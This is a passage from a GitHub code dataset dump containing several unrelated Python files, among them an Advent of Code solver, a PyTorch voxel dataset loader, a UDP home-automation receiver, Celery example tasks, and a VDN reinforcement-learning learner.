lines]\n return commands\n\ndef solve_challenge_a(data):\n data = parse_data(data)\n return challenge_a(data)\n\nchallenge_test_data = \\\n\"\"\"forward 5\ndown 5\nforward 8\nup 3\ndown 8\nforward 2\"\"\"\nassert solve_challenge_a(challenge_test_data) == 150\n\n\"\"\"\n--- Part Two ---\nBased on your calculations, the planned course doesn't seem to make any sense.\nYou find the submarine manual and discover that the process is actually slightly\nmore complicated.\n\nIn addition to horizontal position and depth, you'll also need to track a third\nvalue, aim, which also starts at 0. The commands also mean something entirely\ndifferent than you first thought:\n\ndown X increases your aim by X units.\nup X decreases your aim by X units.\nforward X does two things:\nIt increases your horizontal position by X units.\nIt increases your depth by your aim multiplied by X.\n\nAgain note that since you're on a submarine, down and up do the opposite of what\nyou might expect: \"down\" means aiming in the positive direction.\n\nNow, the above example does something different:\n\nforward 5 adds 5 to your horizontal position, a total of 5.\nBecause your aim is 0, your depth does not change.\ndown 5 adds 5 to your aim, resulting in a value of 5.\nforward 8 adds 8 to your horizontal position, a total of 13.\nBecause your aim is 5, your depth increases by 8*5=40.\nup 3 decreases your aim by 3, resulting in a value of 2.\ndown 8 adds 8 to your aim, resulting in a value of 10.\nforward 2 adds 2 to your horizontal position, a total of 15.\nBecause your aim is 10, your depth increases by 2*10=20 to a total of 60.\nAfter following these new instructions, you would have a horizontal position\nof 15 and a depth of 60. (Multiplying these produces 900.)\n\nUsing this new interpretation of the commands, calculate the horizontal position\nand depth you would have after following the planned course. What do you get if\nyou multiply your final horizontal position by your final depth?\n\"\"\"\n\ndef challenge_b(commands):\n horizontal, depth, aim = 0, 0, 0\n\n for command, steps in commands:\n if command == \"forward\":\n horizontal += steps\n depth += aim * steps\n elif command == \"up\":\n aim -= steps\n elif command == \"down\":\n aim += steps\n else:\n raise Exception('invalid command')\n\n return horizontal * depth\n\ndef solve_challenge_b(data):\n data = parse_data(data)\n return challenge_b(data)\n\nassert solve_challenge_b(challenge_test_data) == 900\n\nif __name__ == \"__main__\":\n DAY = 2\n puzzle_a(DAY, solve_challenge_a)\n puzzle_b(DAY, solve_challenge_b)\n","repo_name":"cvalbz/adventofcode_2021","sub_path":"day_02.py","file_name":"day_02.py","file_ext":"py","file_size_in_byte":4688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19731402118","text":"import torch.utils.data as tdata\nimport os\nimport numpy as np\nimport transforms3d.euler as txe\nimport utils\nfrom collections import OrderedDict\nfrom IPython.core.debugger import set_trace\nosp = os.path\n\n\nclass VoxelDataset(tdata.Dataset):\n def __init__(self, data_dir, instruction, train,\n grid_size=64, include_sessions=None, exclude_sessions=None,\n random_rotation=180, n_ensemble=20, color_thresh=0.4, test_only=False):\n super(VoxelDataset, self).__init__()\n\n data_dir = osp.expanduser(data_dir)\n self.grid_size = grid_size\n self.random_rotation = random_rotation\n self.n_ensemble = n_ensemble\n self.color_thresh = color_thresh\n\n # list the voxel grids\n self.filenames = OrderedDict()\n for filename in next(os.walk(data_dir))[-1]:\n if '_solid.npy' not in filename:\n continue\n if test_only:\n if 'testonly' not in filename:\n continue\n else:\n if '_{:s}_'.format(instruction) not in filename:\n continue\n session_name = filename.split('_')[0]\n if include_sessions is not None:\n if session_name not in include_sessions:\n continue\n if exclude_sessions is not None:\n if session_name in exclude_sessions:\n continue\n offset = 1 if test_only else 2\n object_name = '_'.join(filename.split('.')[0].split('_')[offset:-1])\n if not test_only:\n if train:\n if object_name in utils.test_objects:\n continue\n else:\n if object_name not in utils.test_objects:\n continue\n filename = osp.join(data_dir, filename)\n if object_name not in self.filenames:\n self.filenames[object_name] = [filename]\n else:\n self.filenames[object_name].append(filename)\n\n def __len__(self):\n return len(self.filenames)\n\n def __getitem__(self, index):\n\t\t# load geometry\n object_name = list(self.filenames.keys())[index]\n x, y, z, c, xx, yy, zz = np.load(self.filenames[object_name][0])\n x, y, z = x.astype(int), y.astype(int), z.astype(int)\n pts = np.vstack((xx, yy, zz))\n offset = (pts.max(1, keepdims=True) + pts.min(1, keepdims=True)) / 2\n pts -= offset\n scale = max(pts.max(1) - pts.min(1)) / 2\n pts /= scale\n pts = np.vstack((np.ones(pts.shape[1]), pts, scale*np.ones(pts.shape[1])))\n\n # center the object\n offset_x = (self.grid_size - x.max() - 1) // 2\n offset_y = (self.grid_size - y.max() - 1) // 2\n offset_z = (self.grid_size - z.max() - 1) // 2\n x += offset_x\n y += offset_y\n z += offset_z\n\n # random rotation\n if abs(self.random_rotation) > 0:\n theta = np.random.uniform(-np.pi*self.random_rotation/180,\n np.pi*self.random_rotation/180)\n R = txe.euler2mat(0, 0, theta)\n p = np.vstack((x, y, z)) + 0.5\n p = p - self.grid_size/2.0\n p = R @ p\n s = max(p.max(1) - p.min(1))\n p = p * (self.grid_size-1) / s\n s = (p.max(1, keepdims=True) + p.min(1, keepdims=True)) / 2.0\n p = p + self.grid_size/2.0 - s\n x, y, z = (p-0.5).astype(int)\n\n # create occupancy grid\n geom = np.zeros((5, self.grid_size, self.grid_size, self.grid_size),\n dtype=np.float32)\n geom[:, z, y, x] = pts\n \n # load textures\n N = len(self.filenames[object_name])\n choice = np.arange(N)\n if self.n_ensemble > 0 and self.n_ensemble < N:\n choice = np.random.choice(N, size=self.n_ensemble, replace=False)\n texs = []\n filenames = [self.filenames[object_name][c] for c in choice]\n for filename in filenames:\n _, _, _, c, _, _, _ = np.load(filename)\n c = utils.discretize_texture(c, thresh=self.color_thresh)\n tex = 2 * np.ones((self.grid_size, self.grid_size, self.grid_size),\n dtype=np.float32)\n tex[z, y, x] = c\n texs.append(tex)\n texs = np.stack(texs)\n\n return geom.astype(np.float32), texs.astype(np.int)\n\n\nif __name__ == '__main__':\n n_ensemble = 1\n N_show = 30\n dset = VoxelDataset(osp.join('data', 'voxelized_meshes'), 'use',\n train=True, random_rotation=180, n_ensemble=n_ensemble)\n for idx in np.random.choice(len(dset), N_show):\n geom, tex = dset[idx]\n z, y, x = np.nonzero(geom[0]) # see which voxels are occupied\n c = tex[0, z, y, x]\n x3d = geom[1, z, y, x]\n y3d = geom[2, z, y, x]\n z3d = geom[3, z, y, x]\n #utils.show_pointcloud(np.vstack((x3d, y3d, z3d)).T, c)\n utils.show_pointcloud(np.vstack((x, y, z)).T, c)\n","repo_name":"samarth-robo/contactdb_prediction","sub_path":"voxel_dataset.py","file_name":"voxel_dataset.py","file_ext":"py","file_size_in_byte":4412,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"75"} +{"seq_id":"709933217","text":"\nfrom domain.Student import StudentException, student, StudentValidator\nfrom custom.iterable import Iterable\nfrom service.UndoService import FunctionCall, Operation\n\n\nclass studentrepo:\n \"\"\"\n Class for the student repository\n \"\"\"\n def __init__(self):\n self._student_list = Iterable()\n\n def __len__(self):\n return len(self._student_list)\n\n # getter\n @property\n def student_list(self):\n return self._student_list\n\n def add_student(self, student_id, name):\n \"\"\"\n Adds a new student to the list\n :param student_id: an integer\n :param name: the student name, a string\n :return: -\n \"\"\"\n studval = StudentValidator()\n s = student(student_id,name)\n studval.validate(s)\n for stud in self.student_list:\n if int(stud.id) == int(student_id):\n raise StudentException('Student with given id already exist!')\n self.student_list.append(s)\n return s\n\n def remove_student(self, student_id):\n '''\n Removes a student given by student id from the list\n :param student_id: an integer\n :return: -\n '''\n found = False\n obj = 0\n for s in self.student_list:\n if int(s.id) == int(student_id):\n found = True\n obj = s\n self.student_list.remove(s)\n if not found:\n raise StudentException('Student with given id not found!')\n return found, obj\n\n def update_student(self, student_id, student_name):\n '''\n Update a student name given by id\n :param student_id: an integer\n :param student_name: the new student name\n :return:-\n '''\n for s in self.student_list:\n if int(s.id) == int(student_id):\n obj = s\n name = s.name\n s.set_name(student_name)\n return obj, name\n raise StudentException('Student with given id not found!')\n\n def search_student(self, search_str):\n found_list = []\n if search_str.isdigit():\n for s in self.student_list:\n if str(s.id).find(search_str) != -1:\n found_list.append(str(s))\n elif search_str.isalpha():\n for s in self.student_list:\n if s.name.lower().find(search_str.lower()) != -1:\n found_list.append(str(s))\n else:\n raise StudentException('Bad input!')\n if found_list == []:\n raise StudentException('No such student was found!')\n return found_list\n\n def test_init_students(self):\n s = student(6138,'Pop Ion')\n self.student_list.append(s)\n s = student(2389, 'Dan Amalia')\n self.student_list.append(s)\n s = student(4371, 'Muresan Ana')\n self.student_list.append(s)\n s = student(2327, 'Adam Anca')\n self.student_list.append(s)\n s = student(6287, 'Haidu Crina')\n self.student_list.append(s)\n s = student(7625, 'Jucan Vlad')\n self.student_list.append(s)\n s = student(2736, 'Horvath Andrei')\n self.student_list.append(s)\n s = student(7621, 'Misan Rares')\n self.student_list.append(s)\n s = student(2382, 'Candrea Cosmin')\n self.student_list.append(s)\n s = student(8723, 'Marina Dan')\n self.student_list.append(s)\n\n @student_list.setter\n def student_list(self, value):\n self._student_list = value\n","repo_name":"Dalia-Sharra29/University-Projects","sub_path":"Students Register Management/repository/StudentRepository.py","file_name":"StudentRepository.py","file_ext":"py","file_size_in_byte":3521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39740786888","text":"import logging\nimport socket\nimport threading\nimport traceback\nfrom pyhausbus.HausBusUtils import *\nfrom pyhausbus.de.hausbus.homeassistant.proxy import *\nimport time\n\nBROADCAST_SEND_IP = \"192.255.255.255\"\nBROADCAST_RECEIVE_IP = \"0.0.0.0\"\nBUFFER_SIZE = 10000\n\nclass UdpReceiveWorker:\n UDP_GATEWAY = \"#UDP#\"\n\n def __init__(self, func):\n logging.info(\"init UdpReceiveWorker\")\n self.func = func\n \n def startWorker(self):\n logging.info(\"starting udp receive worker\")\n t = threading.Thread(target=self.runable)\n t.start() \n\n def runable(self):\n while(True):\n try:\n UDPServerSocket = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)\n UDPServerSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n UDPServerSocket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n UDPServerSocket.bind((BROADCAST_RECEIVE_IP, UDP_PORT))\n logging.info(\"UDP server up and listening\")\n\n while(True):\n bytesAddressPair = UDPServerSocket.recvfrom(BUFFER_SIZE)\n message = bytesAddressPair[0]\n address = bytesAddressPair[1]\n logging.info(\"Message from Client \"+format(address)+\": \"+bytesToDebugString(message))\n \n \n if (len(message) == 0):\n logging.info(\"got empty message\");\n continue;\n\n if (message[0] != 0xef | message[1] != 0xef):\n logging.info(\"invalid header\");\n continue;\n\n if (len(message) < 15):\n logging.info(\"message size \" + len(message) + \" is too short\");\n continue;\n\n # 2 = Kontrollbyte 3 = MessageCounter\n offset = [4]\n senderObjectId = bytesToDWord(message, offset)\n logging.info(\"senderObjectId = \"+str(senderObjectId))\n\n receiverObjectId = bytesToDWord(message, offset)\n logging.info(\"receiverObjectId = \"+str(receiverObjectId))\n\n dataLength = bytesToWord(message, offset)\n if (len(message) < 14 + dataLength):\n logging.info(\"message size \" + str(len(message)) + \" is too short for data length \" + str(dataLength) + \": \" + bytesToDebugString(message))\n dataLength = len(message) - 14\n # continue;\n functionId = bytesToInt(message, offset)\n functionData = message[15:]\n\n logging.info(\"functionId \" + str(functionId) + \", functionData \" + bytesToDebugString(functionData))\n\n self.func(senderObjectId, receiverObjectId, functionId, functionData, self.UDP_GATEWAY, False)\n except (Exception) as err:\n print(\"error:\", err)\n traceback.print_exc()\n time.sleep(5)\n","repo_name":"hausbus/homeassistant","sub_path":"pyhausbus/UdpReceiveWorker.py","file_name":"UdpReceiveWorker.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"42928447720","text":"num = int(input())\nsm = 0\nave = 0\nnum1 = 0\n\nfor Repeat in range(0, num):\n\tcase = list(map(int,input().split()))\n\tfor repeat in range(1, case[0]+1):\n\t\tsm += case[repeat]\n\tave = sm / case[0]\n\tfor rep in range(1, case[0]+1):\n\t\tif case[rep] > ave:\n\t\t\tnum1 += 1\n\tresult = num1 / case[0] * 100\n\tprint(\"%.3f%%\"%(result))\n\tsm = 0\n\tave = 0\n\tnum1 = 0","repo_name":"inggan/Baekjoon_Online_Judge","sub_path":"4344.py","file_name":"4344.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23776487002","text":"from odoo import models, fields\n\n\nclass ProductProduct(models.Model):\n _inherit = 'product.product'\n\n def write(self, vals):\n res = super(ProductProduct, self).write(vals)\n for rec in self:\n if rec.product_tmpl_id.exported_in_shopify:\n if vals.get('name') or vals.get('barcode') or vals.get('default_code') or vals.get('weight'):\n rec.product_tmpl_id.is_modified = True\n if 'active' in vals and not rec.active:\n shop_prod = self.env['shopify.product.product.ept'].search([('product_id', '=', rec.id),\n ('active', 'in', [True, False])])\n shop_prod.unlink()\n return res\n","repo_name":"rapsodoodeveloper/fisura_testing","sub_path":"rap_shopify_extended/models/product_product_inherit.py","file_name":"product_product_inherit.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2449639615","text":"from __future__ import absolute_import\n\nimport os\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom celery import shared_task, task\nfrom celery.utils.log import get_logger\nfrom django.views.decorators.csrf import csrf_exempt, csrf_protect\nimport logging\n\n\n\nLOG_FORMAT = \"%(asctime)s - %(levelname)s - %(message)s\"\npro = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\napp = os.path.basename(os.path.dirname(os.path.abspath(__file__)))\nf = os.path.join(pro, 'log', app)\nlogging.basicConfig(filename=f'{f}.log',\n level=logging.INFO, format=LOG_FORMAT)\nlog = logging.getLogger('index')\n\n\n'''\n'_log', '_process_aware', '_signal_safe', 'addFilter', 'addHandler', 'callHandlers', 'critical', 'debug', 'disabled', 'error', 'exception', 'fatal', 'filter', 'filters', 'findCaller', 'getChild', 'getEffectiveLevel', 'handle', 'handlers', 'hasHandlers', 'info', 'isEnabledFor', 'level', 'log', 'makeRecord', 'manager', 'name', 'parent', 'propagate', \n'removeFilter', 'removeHandler', 'root', 'setLevel', 'warn', \n'warning'\n'''\n\n\n@csrf_exempt\n@shared_task()\ndef add(x, y):\n print(\"%d + %d = %d\" % (x, y, x + y))\n log.info(f'add will running')\n log.info(f'add ran ok')\n return x + y\n\n\n@csrf_exempt\n@shared_task()\ndef mul(x, y):\n print(\"%d * %d = %d\" % (x, y, x * y))\n log.info(f'add will running')\n log.info(f'add ran ok')\n return x * y\n\n\n@csrf_exempt\n@shared_task()\ndef sub(x, y):\n print(\"%d - %d = %d\" % (x, y, x - y))\n return x - y\n\n\n@csrf_exempt\n@shared_task()\ndef just_print():\n print(\"Print from celery task\")\n return \"Print from celery task\"\n","repo_name":"duxinn/django-celery","sub_path":"dc_1/index/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28517377899","text":"\"\"\"\n Write a function that takes a positive integer and returns the next smaller\n positive integer containing the same digits.\n For example:\n next_smaller(21) == 12\n next_smaller(531) == 513\n next_smaller(2071) == 2017\n Return -1 (for Haskell: return Nothing, for Rust: return None), when there is no smaller number that\n contains the same digits.\n Also return -1 when the next smaller number with the same digits would require the leading digit to be zero.\n next_smaller(9) == -1\n next_smaller(135) == -1\n next_smaller(1027) == -1 # 0721 is out since we don't write numbers with leading zeros\n\"\"\"\n\ndef next_smaller(n):\n ans = -1\n ans_2 = \"\"\n #if n is smaller than 10 (is a one digit num) return -1\n if n < 10 or n == 123456789: return ans\n # optimization tip to try, ans must have same length as n, so from list range(10, n) filter all those nums\n # with less digits than n.\n n_length = len(str(n))\n \"\"\"\n looping through the list of numbers from n-1 towards 10, with the length of n in mind: \n - for each number in that list:\n - first store its length somewhere - num_length\n - store another value x = total number of chars in num present in n\n - looping through the individual chars for n, for each char present in num increment x by 1\n - after looping through all, if x = num_length, num is our answer.\n \"\"\"\n y = list(str(n))\n while n_length == len(str(n-1)):\n x = n - 1\n z = list(str(x))\n total_len = 0\n for i in y:\n if i in z:\n total_len += 1\n z.remove(i)\n if total_len == n_length:\n ans_2 = x\n break\n else:\n n = x\n ans_2 = ans\n return ans_2\n\n\n\nprint(next_smaller(5221559965523))\n\n#as much as this works, it is slower than required. check for the correct soln in the next_s.py file","repo_name":"SamuelNw/Python-Challenges","sub_path":"codewars/next_small_number.py","file_name":"next_small_number.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29449965926","text":"import copy\nfrom components.episode_buffer import EpisodeBatch\nfrom modules.mixers.vdn import VDNMixer\nimport torch as th\nimport torch.nn.functional as F\nfrom torch.optim import Adam\nfrom controllers import REGISTRY as mac_REGISTRY\nfrom learners.q_learner import QLearner\n\n\nclass VDNQLearner(QLearner):\n def __init__(self, mac, scheme, logger, args):\n self.args = args\n self.logger = logger\n\n self.mac = copy.deepcopy(mac)\n self.target_mac = copy.deepcopy(mac)\n self.predict_mac = copy.deepcopy(mac)\n\n self.mixer = VDNMixer(args)\n self.target_mixer = copy.deepcopy(self.mixer)\n\n self.params = list(self.mac.parameters())\n self.params += list(self.mixer.parameters())\n self.predict_params = list(self.predict_mac.parameters())\n\n self.optimiser = Adam(params=self.params, lr=args.lr)\n self.predict_optimiser = Adam(params=self.predict_params, lr=args.lr)\n\n self.last_target_update_episode = 0\n self.training_steps = 0\n self.last_target_update_step = 0\n self.log_stats_t = -self.args.learner_log_interval - 1\n\n self.decay_stats_t = 0\n self.decay_stats_t_2 = 0\n\n\n def subtrain(self, batch: EpisodeBatch, t_env: int, episode_num: int,\n mac, save_buffer=False, imac=None, timac=None):\n # Get the relevant quantities\n rewards = batch[\"reward\"][:, :-1]\n actions = batch[\"actions\"][:, :-1]\n terminated = batch[\"terminated\"][:, :-1].float()\n mask = batch[\"filled\"][:, :-1].float()\n mask[:, 1:] = mask[:, 1:] * (1 - terminated[:, :-1])\n avail_actions = batch[\"avail_actions\"]\n\n if self.args.standardise_rewards:\n rewards = (rewards - rewards.mean()) / (rewards.std() + 1e-5)\n\n # Calculate estimated Q-Values\n # Calculate the Q-Values necessary for the target\n mac.init_hidden(batch.batch_size)\n self.predict_mac.init_hidden(batch.batch_size)\n self.target_mac.init_hidden(batch.batch_size)\n\n mac_out = mac.forward(batch, batch.max_seq_length, batch_inf=True)\n predict_mac_out = self.predict_mac.forward(batch, batch.max_seq_length, batch_inf=True)[:, 1:, ...]\n target_mac_out = self.target_mac.forward(batch, batch.max_seq_length, batch_inf=True)[:, 1:, ...]\n\n # Mask out unavailable actions\n target_mac_out[avail_actions[:, 1:] == 0] = -9999999\n\n target_mac_out_next = target_mac_out.clone().detach()\n target_mac_out_next = target_mac_out_next.contiguous().view(-1, self.args.n_actions) * 10\n predict_mac_out = predict_mac_out.contiguous().view(-1, self.args.n_actions)\n\n prediction_error = F.pairwise_distance(predict_mac_out, target_mac_out_next, p=2.0, keepdim=True)\n prediction_mask = mask.repeat(1, 1, self.args.n_agents)\n prediction_error = prediction_error.reshape(batch.batch_size, -1, self.args.n_agents) * prediction_mask\n\n if getattr(self.args, \"mask_other_agents\", False):\n intrinsic_rewards = self.args.curiosity_scale * (prediction_error.detach()[:, :, 0:1])\n else:\n intrinsic_rewards = self.args.curiosity_scale * (prediction_error.mean(dim=-1, keepdim=True).detach())\n\n prediction_loss = prediction_error.sum() / prediction_mask.sum()\n\n ############################\n if save_buffer:\n return intrinsic_rewards\n\n self.predict_optimiser.zero_grad()\n prediction_loss.backward()\n predict_grad_norm = th.nn.utils.clip_grad_norm_(self.predict_params, self.args.grad_norm_clip)\n self.predict_optimiser.step()\n ############################\n\n # Pick the Q-Values for the actions taken by each agent\n chosen_action_qvals = th.gather(mac_out[:, :-1], dim=3, index=actions).squeeze(3) # Remove the last dim\n\n x_mac_out = mac_out.clone().detach()\n x_mac_out[avail_actions == 0] = -9999999\n max_action_qvals, max_action_index = x_mac_out[:, :-1].max(dim=3)\n max_action_index = max_action_index.detach().unsqueeze(3)\n is_max_action = (max_action_index == actions).int().float()\n masked_hit_prob = th.mean(is_max_action, dim=2) * mask\n hit_prob = masked_hit_prob.sum() / mask.sum()\n\n # Max over target Q-Values\n if self.args.double_q:\n # Get actions that maximise live Q (for double q-learning)\n mac_out_detach = mac_out.clone().detach()\n mac_out_detach[avail_actions == 0] = -9999999\n cur_max_actions = mac_out_detach[:, 1:].max(dim=3, keepdim=True)[1]\n target_max_qvals = th.gather(target_mac_out, 3, cur_max_actions).squeeze(3)\n else:\n target_max_qvals = target_mac_out.max(dim=3)[0]\n\n # Mix\n if self.mixer is not None:\n chosen_action_qvals = self.mixer(chosen_action_qvals, batch[\"state\"][:, :-1])\n target_max_qvals = self.target_mixer(target_max_qvals, batch[\"state\"][:, 1:])\n\n # Calculate 1-step Q-Learning targets\n targets = rewards + self.args.gamma * (1 - terminated) * target_max_qvals\n\n # Td-error\n td_error = (chosen_action_qvals - targets.detach())\n\n mask = mask.expand_as(td_error)\n\n # 0-out the targets that came from padded data\n masked_td_error = td_error * mask\n if getattr(self.args, \"use_qtotal_td\", False):\n intrinsic_rewards = self.args.curiosity_scale * th.abs(masked_td_error.clone().detach())\n\n # Normal L2 loss, take mean over actual data\n loss = (masked_td_error ** 2).sum() / mask.sum()\n\n # Optimise\n self.optimiser.zero_grad()\n loss.backward()\n grad_norm = th.nn.utils.clip_grad_norm_(self.params, self.args.grad_norm_clip)\n self.optimiser.step()\n\n if self.args.curiosity_decay:\n if t_env - self.decay_stats_t >= self.args.curiosity_decay_cycle:\n if self.args.curiosity_decay_rate <= 1.0:\n if self.args.curiosity_scale > self.args.curiosity_decay_stop:\n self.args.curiosity_scale = self.args.curiosity_scale * self.args.curiosity_decay_rate\n else:\n self.args.curiosity_scale = self.args.curiosity_decay_stop\n else:\n if self.args.curiosity_scale < self.args.curiosity_decay_stop:\n self.args.curiosity_scale = self.args.curiosity_scale * self.args.curiosity_decay_rate\n else:\n self.args.curiosity_scale = self.args.curiosity_decay_stop\n\n self.decay_stats_t=t_env\n\n if t_env - self.log_stats_t >= self.args.learner_log_interval:\n self.logger.log_stat(\"vdn_loss\", loss.item(), t_env)\n self.logger.log_stat(\"vdn_hit_prob\", hit_prob.item(), t_env)\n self.logger.log_stat(\"vdn_grad_norm\", grad_norm.item(), t_env)\n mask_elems = mask.sum().item()\n self.logger.log_stat(\"vdn_td_error_abs\", (masked_td_error.abs().sum().item()/mask_elems), t_env)\n self.logger.log_stat(\"vdn_q_taken_mean\", (chosen_action_qvals * mask).sum().item()/(mask_elems * self.args.n_agents), t_env)\n self.logger.log_stat(\"vdn_target_mean\", (targets * mask).sum().item()/(mask_elems * self.args.n_agents), t_env)\n\n self.logger.log_stat(\"vdn_prediction_loss\", prediction_loss.item(), t_env)\n self.logger.log_stat(\"vdn_intrinsic_rewards\", intrinsic_rewards.sum().item() / mask_elems, t_env)\n self.logger.log_stat(\"vdn_extrinsic_rewards\", rewards.sum().item() / mask_elems, t_env)\n\n self.log_stats_t = t_env\n\n return intrinsic_rewards\n\n\n def train(self, batch: EpisodeBatch, t_env: int, episode_num: int,\n save_buffer=False, imac=None, timac=None):\n\n intrinsic_rewards = self.subtrain(\n batch, t_env, episode_num, self.mac, save_buffer=save_buffer, imac=imac, timac=timac)\n\n self.training_steps += 1\n if self.args.target_update_interval_or_tau > 1 and (self.training_steps - self.last_target_update_step) / self.args.target_update_interval_or_tau >= 1.0:\n self._update_targets_hard()\n self.last_target_update_step = self.training_steps\n elif self.args.target_update_interval_or_tau <= 1.0:\n self._update_targets_soft(self.args.target_update_interval_or_tau)\n\n return intrinsic_rewards\n\n\n def cuda(self):\n super().cuda()\n self.predict_mac.cuda()\n\n def save_models(self, path):\n super().save_models(path)\n self.predict_mac.save_models(f\"{path}/predict_mac\")\n th.save(self.predict_optimiser.state_dict(), f\"{path}/predict_opt.th\")\n\n def load_models(self, path):\n super().load_models(path)\n self.predict_mac.load_models(f\"{path}/predict_mac\")\n self.predict_optimiser.load_state_dict(th.load(f\"{path}/predict_opt.th\", map_location=lambda storage, loc: storage))","repo_name":"chandar-lab/COE","sub_path":"src/learners/vdn_q_learner.py","file_name":"vdn_q_learner.py","file_ext":"py","file_size_in_byte":8980,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"40884397273","text":"#import time\r\n\r\n\r\ns = set(eval(input()))\r\n#start_time = time.time()\r\nm = max(s)\r\nslag_1 = (i * i for i in range(1, int(m ** 0.5) + 1))\r\nslag_2 = lambda x: (j * j for j in range(int(x ** 0.5), int((m - x) ** 0.5) + 1))\r\nslag_3 = lambda x, y: (k * k for k in range(int(y ** 0.5), int((m - x - y) ** 0.5) + 1))\r\nsquares = {i + j + k for i in slag_1 for j in slag_2(i) for k in slag_3(i, j)}\r\nprint(len(squares & s))\r\n#print('=== {} seconds ==='.format(time.time() - start_time))\r\n","repo_name":"dogernout/PythonIntro","sub_path":"three_squares_1.py","file_name":"three_squares_1.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"24673486256","text":"from socket import *\n\nsockfd=socket(AF_INET,SOCK_DGRAM)\nfd_addr=(\"127.0.0.1\",6666)\nsockfd.bind(fd_addr)\nwhile True:\n data,fd_addr=sockfd.recvfrom(8192)\n if not data:\n break\n print(data.decode())\n m=sockfd.sendto(\"receive\".encode(),fd_addr)\n print(\"接收%d Btys\"%m)\n\nsockfd.close()","repo_name":"delaven007/2-advance","sub_path":"IO-网络编程/3-缓冲区-粘包-utp套接字传输-HTTP传输/recv.py","file_name":"recv.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2341256817","text":"import random\r\n\r\n\r\noptions = ['rock', 'paper','sissor']\r\n\r\nrandom_pick = random.choices(options)\r\nuser1 = input(\"pick rock,paper or sissor:\")\r\n\r\n\r\nif user1 == random_pick:\r\n\t \"draw\"\r\nelif user1 == 'paper' and random_pick == \"rock\":\r\n\tprint(\"user1 won\")\r\nelif user1 == 'sissor' and random_pick == 'paper':\r\n\tprint(\"user1 won\")\r\nelif user1 == 'rock' and random_pick == 'sissor':\r\n\tprint(\"user1 won\")\r\nelse:\r\n\tprint(\"computer won\")\r\n\r\n\r\nprint(f\"\\nYou chose {user1}, computer chose {random_pick}.\\n\")\r\n\r\n","repo_name":"almir93/rockpapersissor","sub_path":"rockpapersissor.py","file_name":"rockpapersissor.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73311176882","text":"import numpy as np\nimport os\nimport sys\nimport subprocess\nfrom uploadStdFileAsCSAndTestData import *\nsys.path.insert(0, '/home/anglil/csehomedir/learner/code_convert_pre_CS_to_CS/boto_dynamic_payment')\nfrom task_publishing import *\n\n# ---------------- parameters ---------\n# jbragg: Replace Chris's parameters with mine.\n#dataFile = '/home/anglil/csehomedir/learner/data_featurized/chris_data_exp_2000'\n#goldFile = '/home/anglil/csehomedir/learner/data_test/test_strict_new_feature_no_grammatic'\n#db_prefix = 'chris'\n#db_suffix = 'data_exp_2000'\ndataFile = '/home/anglil/csehomedir/learner/data_test/test_strict_new_feature_no_grammatic_soderland'\ngoldFile = '/home/anglil/csehomedir/learner/data_test/test_strict_new_feature_no_grammatic_not_soderland'\ndb_prefix = 'jbragg'\ndb_suffix = 'data_164_gold_1'\nhitNum = 3\nmaxAssignments = 1\n\n# jbragg parameters.\n\n\n# ---------------- 1. set up the database ----------------\ndbName = db_prefix+\"_\"+db_suffix\ndb_new = setupDB(dbName)\nuploadStdFileCS(dataFile, db_new)\nuploadStdFileTest(goldFile, db_new)\n\n# ---------------- 2. connect the Rails app to the database --------------\ndata = None\nwith open('rails_couchdb/config/couchdb.yml', 'r') as f1:\n\tdata = f1.readlines()\ndata[4] = \" prefix: \"+db_prefix+'\\n'\ndata[5] = \" suffix: \"+db_suffix+'\\n'\ndata[17] = \" prefix: \"+db_prefix+'\\n'\ndata[18] = \" suffix: \"+db_suffix+'\\n'\n\nwith open('rails_couchdb/config/couchdb.yml', 'w') as f2:\n\tf2.writelines(data)\n\nsecretData = None\nwith open('rails_couchdb/config/secrets.yml', 'r') as f3:\n\tsecretData = f3.readlines()\nsecretData[18] = \" database: \\'\"+dbName+\"\\'\\n\"\n\nwith open('rails_couchdb/config/secrets.yml', 'w') as f4:\n\tf4.writelines(secretData)\n\n# --------------- 3. start the server -----------------\nsubprocess.call(\"./startServer.sh\", shell=True)\n\n# --------------- 4. publish the task on Mturk ------------\nPublishTasks(hitNum, maxAssignments)\n","repo_name":"anglil/EffectiveCrowd","sub_path":"code_convert_pre_CS_to_CS/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"2892446044","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 17 20:01:37 2016\n\n@author: felipe\n\"\"\"\n\nimport numpy as np\nimport scipy.linalg as sp\nfrom scipy.stats import mvn\nfrom scipy.stats import multivariate_normal\n\n\ndef func(U, epsilon, distance):\n # Computes the prob any (U_i) is less than epsilon\n ind = 